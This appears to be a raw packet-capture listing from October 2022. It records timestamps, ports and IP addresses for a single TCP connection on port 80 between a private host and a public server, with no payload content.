Oct 3, 2022 17:30:00.107970953 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107986927 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107994080 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108017921 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108023882 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108047962 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108057976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108078003 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108086109 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108110905 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108119965 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108140945 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108149052 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108174086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108181953 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108207941 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108215094 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108237028 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108247042 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108264923 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108274937 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108299017 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108310938 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108328104 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108338118 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108360052 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108365059 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108391047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108397961 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108423948 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108431101 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108458042 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108467102 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108488083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108494997 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108519077 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108534098 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108550072 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108560085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108580112 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108592987 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108609915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108618975 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108642101 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108649015 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108675003 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108684063 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108705997 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108716011 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108736992 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108752012 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108768940 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108777046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108800888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108813047 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108831882 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108843088 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108864069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108870983 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108896017 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108915091 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108928919 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108932972 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108959913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.108971119 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.108990908 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109003067 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109021902 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109031916 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109052896 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109062910 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109081030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109088898 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109112024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109121084 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109143019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109149933 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109175920 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109186888 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109206915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109219074 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109236956 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109257936 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109268904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109276056 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109294891 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109313965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109333038 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109354019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109373093 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109405041 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109422922 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109436989 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109466076 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109483957 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109494925 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109505892 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109524965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109544992 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109555960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109563112 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109586000 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109594107 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109617949 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109641075 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109648943 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109662056 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109678984 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109685898 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109710932 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109724045 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109740019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109749079 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109769106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109778881 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109798908 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109833002 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109844923 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109863997 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109884024 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109904051 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109916925 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109935045 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109956980 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109963894 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.109975100 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.109997034 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.110003948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.110027075 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.110034943 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.110058069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.110065937 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.110089064 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.110095024 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.110122919 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.110129118 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.110167027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137145042 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137188911 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137218952 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137227058 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137248039 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137276888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137280941 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137305975 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137331009 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137336969 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137361050 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137363911 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137383938 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137392998 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137404919 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137425900 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137432098 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137464046 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137475967 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137489080 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137509108 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137526989 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137540102 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137556076 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137571096 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137586117 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137600899 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137614965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137623072 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137645960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137655020 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137675047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137687922 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137705088 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137716055 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137733936 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137742043 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137763023 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137769938 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137794018 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137797117 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137824059 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137830973 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137850046 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137871027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137885094 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137892008 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137912989 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137919903 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137943029 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137947083 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.137973070 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.137979031 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138001919 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.138008118 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138031006 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.138036966 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138060093 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.138065100 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138087988 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.138097048 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138117075 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.138123035 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138148069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.138151884 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138175964 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.138184071 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138205051 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.138211012 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138232946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.138240099 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138262033 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.138268948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138292074 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.138297081 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138320923 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.138328075 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138349056 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.138355970 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138382912 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138626099 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.138654947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.138667107 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138685942 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.138689995 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138721943 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.138729095 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.138767958 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.139770031 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.139945030 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.218152046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.225954056 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245338917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245377064 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245408058 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245430946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245448112 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245471001 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245470047 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245507956 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245516062 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245532990 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245553017 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245558977 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245568037 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245584011 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245605946 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245608091 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245629072 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245634079 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245647907 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245657921 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245682955 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245683908 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245697021 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245709896 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245729923 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245733023 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245755911 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245755911 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245775938 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245780945 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245805025 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245812893 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245830059 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245832920 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245855093 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245855093 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245878935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245882034 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245903015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245927095 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245927095 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245928049 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245949030 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245954037 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245973110 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.245979071 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.245997906 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246004105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246028900 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246052027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246052027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246054888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246078968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246083975 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246104956 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246105909 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246130943 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246130943 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246151924 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246156931 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246176004 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246181965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246201038 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246201038 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246220112 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246226072 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246236086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246251106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246264935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246284008 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246310949 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246331930 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246346951 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246352911 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246377945 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246380091 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246397018 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246402025 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246426105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246437073 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246449947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246452093 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246473074 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246480942 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246495008 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246495962 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246519089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246520996 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246540070 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246545076 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246566057 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246570110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246589899 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246594906 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246615887 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246620893 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246640921 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246644020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246665001 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246668100 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246680021 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246692896 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246714115 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246717930 CEST	49694	80	192.168.2.5	85.31.46.167
